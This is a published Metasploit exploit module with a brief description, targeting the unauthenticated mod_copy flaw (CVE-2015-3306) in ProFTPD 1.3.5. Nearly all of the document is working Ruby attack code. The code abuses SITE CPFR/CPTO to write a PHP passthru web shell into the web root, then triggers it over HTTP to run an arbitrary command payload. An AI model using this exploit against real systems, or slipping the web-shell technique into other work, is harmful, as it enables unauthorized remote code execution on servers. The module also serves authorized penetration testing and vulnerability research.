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ProFTPD 1.3.5 Mod_Copy Command Execution

ProFTPD 1.3.5 Mod_Copy Command Execution
Posted Jun 10, 2015
Authored by Vadim Melihow | Site metasploit.com

This Metasploit module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

tags | exploit, remote, php, code execution
advisories | CVE-2015-3306
MD5 | 7af7476c495612990f605ea0706c85c6

ProFTPD 1.3.5 Mod_Copy Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
'Description' => %q{
This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
Any unauthenticated client can leverage these commands to copy files from any
part of the filesystem to a chosen destination. The copy commands are executed with
the rights of the ProFTPD service, which by default runs under the privileges of the
'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
directory, PHP remote code execution is made possible.
},
'Author' =>
[
'Vadim Melihow', # Original discovery, Proof of Concept
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-3306' ],
[ 'EDB', '36742' ]
],
'Privileged' => false,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic gawk bash python perl'
}
},
'Targets' =>
[
[ 'ProFTPD 1.3.5', { } ]
],
'DisclosureDate' => 'Apr 22 2015',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [true, 'HTTP port', 80]),
OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
], self.class)
end

def check
ftp_port = datastore['RPORT_FTP']
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
else
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
end

res = sock.get_once(-1, 10)
unless res && res.include?('220')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
end

sock.puts("SITE CPFR /etc/passwd\r\n")
res = sock.get_once(-1, 10)
if res && res.include?('350')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
ftp_port = datastore['RPORT_FTP']
get_arg = rand_text_alphanumeric(5+rand(3))
payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'

sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
else
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
end

res = sock.get_once(-1, 10)
unless res && res.include?('220')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
end

print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")

sock.puts("SITE CPFR /proc/self/cmdline\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('350')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
end

sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('250')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
end

sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('350')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
end

sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('250')
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
end

sock.close

print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, payload_name),
'method' => 'GET',
'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
)

unless res && res.code == 200
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
end
end

end

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